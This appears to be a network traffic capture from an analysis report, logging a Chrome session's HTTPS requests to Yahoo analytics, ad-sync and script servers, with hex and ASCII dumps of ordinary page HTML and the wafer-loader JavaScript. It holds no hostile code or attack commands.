2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 28 31 34 70 78 29 20 46 7a 28 31 31 70 78 29 20 46 77 28 35 30 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 78 73 68 28 24 73 63 6f 72 65 73 2d 73 65 6c 65 63 74 65 64 2d 74 61 62 2d 62 78 73 68 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 67 63 28 23 66 66 66 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 20 44 28 69 62 29 5c 22 3e 54 6f 64 61 79 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 42 64 28 6e 29 20 42 67 63 28 74 29 20 43 28 2d 2d 64 6f 6c 70 68 69 6e 29 20 44 28 69 62 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 32 70 78 29 20 4d 62 28 30 29 20 4f 28 6e 29 3a 66 20 56 61 28 62 29 20 54 61 28 63 29 20 74 61 62 Data Ascii: (14px) Fz(11px) Fw(500) active-scores-tab_Bxsh($scores-selected-tab-bxsh) active-scores-tab_Bgc(#fff) active-scores-tab_C(--inkwell) D(ib)\">Today</span></button><button class=\"Bd(n) Bgc(t) C(--dolphin) D(ib) Fw(600) Fz(12px) Mb(0) O(n):f Va(b) Ta(c) tab
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3b 73 69 74 65 3d 66 70 26 61 6d 70 3b 74 7a 3d 41 6d 65 72 69 63 61 25 32 46 4e 65 77 5f 59 6f 72 6b 5c 22 20 72 6f 6c 65 3d 5c 22 74 61 62 5c 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 42 64 72 73 28 33 30 70 78 29 20 42 67 63 28 2d 2d 6d 61 72 73 68 6d 61 6c 6c 6f 77 29 20 4c 68 28 31 36 70 78 29 20 50 79 28 35 70 78 29 20 50 78 28 31 34 70 78 29 20 46 7a 28 31 31 70 78 29 20 46 77 28 35 30 30 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 78 73 68 28 24 73 63 6f 72 65 73 2d 73 65 6c 65 63 74 65 64 2d 74 61 62 2d 62 78 73 68 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 42 67 63 28 23 66 66 66 29 20 61 63 74 69 76 65 2d 73 63 6f 72 65 73 2d 74 61 62 5f 43 28 2d 2d 69 6e 6b 77 65 6c 6c 29 20 44 28 69 62 29 5c 22 3e 54 Data Ascii: ;site=fp&tz=America%2FNew_York\" role=\"tab\"><span class=\"Bdrs(30px) Bgc(--marshmallow) Lh(16px) Py(5px) Px(14px) Fz(11px) Fw(500) active-scores-tab_Bxsh($scores-selected-tab-bxsh) active-scores-tab_Bgc(#fff) active-scores-tab_C(--inkwell) D(ib)\">T
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 54 61 28 63 29 20 46 7a 28 31 31 70 78 29 20 4c 68 28 31 32 70 78 29 20 43 28 2d 2d 63 68 61 72 63 6f 61 6c 29 20 46 77 28 34 30 30 29 5c 22 3e 39 3a 33 38 20 31 73 74 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 46 78 67 28 31 29 20 44 28 66 29 20 41 69 28 63 29 20 79 61 68 6f 6f 2d 73 61 6e 73 2d 63 6f 6e 64 20 46 78 64 28 72 72 29 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 46 77 28 35 30 30 29 20 43 28 2d 2d 63 68 61 72 63 6f 61 6c 29 5c 22 3e 3c 69 6d 67 20 63 6c 61 73 73 3d 5c 22 44 28 62 29 20 77 61 66 65 72 2d 69 6d 67 5c 22 20 73 72 63 3d 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 67 2f 69 6d 61 67 65 73 2f 73 70 61 63 65 62 61 6c 6c 2e 67 69 66 5c 22 20 64 61 74 Data Ascii: iv><div class=\"Ta(c) Fz(11px) Lh(12px) C(--charcoal) Fw(400)\">9:38 1st</div><div class=\"Fxg(1) D(f) Ai(c) yahoo-sans-cond Fxd(rr)\"><div class=\"Fw(500) C(--charcoal)\"><img class=\"D(b) wafer-img\" src=\"https://s.yimg.com/g/images/spaceball.gif\" dat
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 63 76 2f 61 70 69 76 32 2f 64 65 66 61 75 6c 74 2f 6e 63 61 61 62 2f 32 30 31 38 31 32 31 30 2f 35 30 30 78 35 30 30 2f 70 72 6f 76 69 64 65 6e 63 65 5f 77 62 67 2e 70 6e 67 5c 22 20 77 69 64 74 68 3d 5c 22 33 32 5c 22 20 68 65 69 67 68 74 3d 5c 22 33 32 5c 22 20 61 6c 74 3d 5c 22 5c 22 2f 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 57 68 73 28 6e 77 29 20 54 6f 76 28 65 29 20 44 28 62 29 20 4f 76 28 68 29 20 4c 68 28 31 32 70 78 29 20 4d 61 77 28 33 32 70 78 29 20 46 7a 28 31 32 70 78 29 20 54 61 28 63 29 20 4d 74 28 36 70 78 29 5c 22 3e 50 52 4f 56 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 46 77 28 34 30 30 29 20 46 7a 28 32 38 70 78 29 20 4c 68 28 33 32 70 78 29 20 Data Ascii: ps://s.yimg.com/cv/apiv2/default/ncaab/20181210/500x500/providence_wbg.png\" width=\"32\" height=\"32\" alt=\"\"/><span class=\"Whs(nw) Tov(e) D(b) Ov(h) Lh(12px) Maw(32px) Fz(12px) Ta(c) Mt(6px)\">PROV </span></div><div class=\"Fw(400) Fz(28px) Lh(32px)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	49883	34.200.65.202	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	902	OUT	GET /ups/58784/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2g3z; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A
2024-01-10 23:27:12 UTC	432	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:12 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19cw~2g3z;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Thu, 09-Jan-2025 23:27:12 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.94
2024-01-10 23:27:12 UTC	59	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 33 56 43 6c 6c 4d 4e 45 32 75 4b 39 34 31 6c 4f 5f 68 52 59 50 69 49 36 4f 37 7a 43 30 64 34 54 7e 41 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 30{"axid": "y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	49884	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	541	OUT	GET /aaq/wf/wf-loader-2.6.216-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:12 UTC	803	IN	HTTP/1.1 200 OK x-amz-id-2: SKTgfKWYgzp0gpHe3Wpdi+D0EOb7PGK1uICLwnJuYl+ywo0ybi7DbU71RQVinFWPMz7dcA94DMo= x-amz-request-id: 89AA50ZMFAFMEA8N Date: Wed, 10 Jan 2024 23:27:13 GMT Last-Modified: Thu, 04 Jan 2024 01:37:50 GMT ETag: "2e4e77b384b1a1d1553d1cef9a70565f" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: zgDFMjU_ezOORSm9_eB_QHekt58GY5sW Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 11916 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 61 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 22 2c 5b 5d 2c 65 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 22 5d 3d 65 28 29 3a 28 61 2e 77 61 66 65 72 3d 61 2e 77 61 66 65 72 7c 7c 7b 7d 2c 61 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 61 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c Data Ascii: !function(a,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define("wafer-loader",[],e):"object"==typeof exports?exports["wafer-loader"]=e():(a.wafer=a.wafer\|\|{},a.wafer.wafers=a.wafer.wafers\|\|
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 63 74 69 6f 6e 2d 31 2e 38 2e 31 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 63 74 69 6f 6e 2d 31 2e 38 2e 31 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 33 31 2e 38 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 2d 31 2e 33 31 2e 38 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 61 75 74 6f 63 6f 6d 70 Data Ascii: :"/aaq/wf/wf-action-1.8.1.js",raw:"/aaq/wf/wf-action-1.8.1.raw.js"}},"wafer-autocomplete":{meta:{version:"1.31.8"},modern:{min:"/aaq/wf/wf-autocomplete-1.31.8-modern.js",raw:"/aaq/wf/wf-autocomplete-1.31.8-modern.raw.js"},default:{min:"/aaq/wf/wf-autocomp
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 2d 31 2e 30 2e 32 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 2d 31 2e 30 2e 32 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 63 6f 72 65 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 36 35 2e 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6f 72 65 2d 31 2e 36 35 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 63 6f 72 65 2d 31 2e 36 35 2e 30 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 Data Ascii: js"},default:{min:"/aaq/wf/wf-clipboard-copy-1.0.2.js",raw:"/aaq/wf/wf-clipboard-copy-1.0.2.raw.js"}},"wafer-core":{meta:{version:"1.65.0"},modern:{min:"/aaq/wf/wf-core-1.65.0-modern.js",raw:"/aaq/wf/wf-core-1.65.0-modern.raw.js"},default:{min:"/aaq/wf/wf
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 64 72 6f 70 64 6f 77 6e 2d 64 72 61 77 65 72 2d 31 2e 31 2e 33 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 64 72 6f 70 64 6f 77 6e 2d 64 72 61 77 65 72 2d 31 2e 31 2e 33 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 65 78 70 65 72 69 6d 65 6e 74 2d 73 63 72 6f 6c 6c 76 69 65 77 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 32 2e 31 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 65 78 70 65 72 69 6d 65 6e 74 2d 73 63 72 6f 6c 6c 76 69 65 77 2d 31 2e 32 2e 31 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 65 78 70 65 72 Data Ascii: modern.raw.js"},default:{min:"/aaq/wf/wf-dropdown-drawer-1.1.3.js",raw:"/aaq/wf/wf-dropdown-drawer-1.1.3.raw.js"}},"wafer-experiment-scrollview":{meta:{version:"1.2.10"},modern:{min:"/aaq/wf/wf-experiment-scrollview-1.2.10-modern.js",raw:"/aaq/wf/wf-exper
2024-01-10 23:27:12 UTC	908	IN	Data Raw: 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 34 2e 30 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 6c 69 67 68 74 62 6f 78 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 30 2e 36 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6c Data Ascii: {version:"1.4.0"},modern:{min:"/aaq/wf/wf-image-1.4.0-modern.js",raw:"/aaq/wf/wf-image-1.4.0-modern.raw.js"},default:{min:"/aaq/wf/wf-image-1.4.0.js",raw:"/aaq/wf/wf-image-1.4.0.raw.js"}},"wafer-lightbox":{meta:{version:"1.10.6"},modern:{min:"/aaq/wf/wf-l
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 75 6c 65 2d 32 2e 30 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6d 6f 64 75 6c 65 2d 32 2e 30 2e 30 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6d 6f 64 75 6c 65 2d 32 2e 30 2e 30 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6d 6f 64 75 6c 65 2d 32 2e 30 2e 30 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 6d 6f 76 65 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 2e 31 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6d 6f 76 65 2d 31 2e 31 2e 31 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 6d 6f 76 65 2d 31 2e 31 2e Data Ascii: ule-2.0.0-modern.js",raw:"/aaq/wf/wf-module-2.0.0-modern.raw.js"},default:{min:"/aaq/wf/wf-module-2.0.0.js",raw:"/aaq/wf/wf-module-2.0.0.raw.js"}},"wafer-move":{meta:{version:"1.1.1"},modern:{min:"/aaq/wf/wf-move-1.1.1-modern.js",raw:"/aaq/wf/wf-move-1.1.
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 74 69 63 6b 79 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 32 2e 35 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 35 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 35 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 35 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 73 74 69 63 6b 79 2d 31 2e 32 2e 35 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 74 61 62 73 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 31 32 2e 36 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a Data Ascii: ticky":{meta:{version:"1.2.5"},modern:{min:"/aaq/wf/wf-sticky-1.2.5-modern.js",raw:"/aaq/wf/wf-sticky-1.2.5-modern.raw.js"},default:{min:"/aaq/wf/wf-sticky-1.2.5.js",raw:"/aaq/wf/wf-sticky-1.2.5.raw.js"}},"wafer-tabs":{meta:{version:"1.12.6"},modern:{min:
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2d 6d 6f 64 65 72 6e 2e 72 61 77 2e 6a 73 22 7d 2c 64 65 66 61 75 6c 74 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2e 6a 73 22 2c 72 61 77 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 67 67 6c 65 2d 31 2e 31 35 2e 34 2e 72 61 77 2e 6a 73 22 7d 7d 2c 22 77 61 66 65 72 2d 74 6f 6f 6c 74 69 70 22 3a 7b 6d 65 74 61 3a 7b 76 65 72 73 69 6f 6e 3a 22 31 2e 32 2e 32 22 7d 2c 6d 6f 64 65 72 6e 3a 7b 6d 69 6e 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 74 6f 6f 6c 74 69 70 2d 31 2e 32 2e 32 2d 6d 6f 64 65 72 6e 2e 6a 73 Data Ascii: n:"/aaq/wf/wf-toggle-1.15.4-modern.js",raw:"/aaq/wf/wf-toggle-1.15.4-modern.raw.js"},default:{min:"/aaq/wf/wf-toggle-1.15.4.js",raw:"/aaq/wf/wf-toggle-1.15.4.raw.js"}},"wafer-tooltip":{meta:{version:"1.2.2"},modern:{min:"/aaq/wf/wf-tooltip-1.2.2-modern.js
2024-01-10 23:27:12 UTC	1300	IN	Data Raw: 65 22 7d 2c 6a 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 75 20 69 6e 20 6d 29 69 66 28 6d 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 75 29 29 7b 69 66 28 64 5b 75 5d 29 63 6f 6e 74 69 6e 75 65 3b 6a 2e 70 75 73 68 28 75 29 7d 76 61 72 20 71 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 2c 66 3d 72 2e 65 72 72 6f 72 43 6c 61 73 73 2c 6f 3d 76 6f 69 64 20 30 3d 3d 3d 66 3f 22 77 61 66 65 72 2d 6c 6f 61 64 65 72 2d 65 72 72 6f 72 22 3a 66 2c 6e 3d 72 2e 72 6f 6f 74 2c 73 3d 76 6f 69 64 20 30 3d 3d 3d 6e 3f 64 6f 63 75 6d 65 Data Ascii: e"},j=[];for(var u in m)if(m.hasOwnProperty(u)){if(d[u])continue;j.push(u)}var q=function(){function a(){var e=this,r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},f=r.errorClass,o=void 0===f?"wafer-loader-error":f,n=r.root,s=void 0===n?docume
2024-01-10 23:27:12 UTC	608	IN	Data Raw: 6c 6f 61 64 57 61 66 65 72 53 63 72 69 70 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 5b 5d 2c 65 3d 74 68 69 73 2e 5f 73 74 61 74 65 2e 70 65 6e 64 69 6e 67 4c 6f 61 64 69 6e 67 4d 61 70 2c 72 3d 74 68 69 73 2e 5f 6f 70 74 69 6f 6e 73 2e 70 72 6f 70 73 2c 77 3d 72 2e 64 65 62 75 67 2c 66 3d 72 2e 6d 6f 64 65 72 6e 3b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 61 6c 6c 28 61 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 72 3d 22 77 61 66 65 72 2d 22 2b 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e Data Ascii: loadWaferScripts",value:function(){var a=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],e=this._state.pendingLoadingMap,r=this._options.props,w=r.debug,f=r.modern;return Promise.all(a.map(function(a){var r="wafer-"+a;return new Promise(function

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	49880	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:12 UTC	954	OUT	GET /checksync.php?cid=8YHBJ3BJ0&cs=1&cv=37&hb=1&vsSync=1&prvid=25014%2C25082%2C25113%2C25307%2C25308%2C25309%2C25310&refUrl=&gdpr=0&gdprconsent=1&gdprstring=&usp_status=0&usp_consent=1&uspstring=1YNN&axid_e=&coppa=0&ckdel=0&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10
2024-01-10 23:27:12 UTC	368	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 22298 Content-Type: text/html; charset=UTF-8 x-mnet-hl2: E Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 Expires: Wed, 10 Jan 2024 23:27:12 GMT Cache-Control: max-age=0, no-cache Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:12 GMT Connection: close
2024-01-10 23:27:12 UTC	1	IN	Data Raw: 20 Data Ascii:
2024-01-10 23:27:12 UTC	16384	IN	Data Raw: 20 20 20 3c 68 74 6d 6c 3e 20 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 20 3c 62 6f 64 79 3e 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 74 72 79 7b 0a 76 61 72 20 63 6f 6f 6b 69 65 53 79 6e 63 43 6f 6e 66 69 67 20 3d 20 7b 22 64 61 74 61 6c 65 6e 22 3a 32 35 2c 22 76 69 73 69 74 6f 72 22 3a 7b 22 76 73 43 6b 22 3a 22 76 69 73 69 74 6f 72 2d 69 64 22 2c 22 76 73 44 61 43 6b 22 3a 22 64 61 74 61 22 2c 22 73 65 70 56 61 6c 22 3a 22 7c 22 2c 22 73 65 70 54 69 6d 65 22 3a 22 2a 22 2c 22 73 65 70 43 73 22 3a 22 7e 7e 22 2c 22 76 73 44 61 54 69 6d 65 22 3a 31 35 35 35 32 30 30 30 2c 22 63 63 22 3a 22 55 53 22 2c 22 7a 6f 6e 65 22 3a 22 20 65 20 22 2c 22 63 6f 63 22 3a 22 4e 41 22 7d 2c 22 63 73 22 3a 22 31 22 2c Data Ascii: <html> <head></head> <body> <script type="text/javascript">try{var 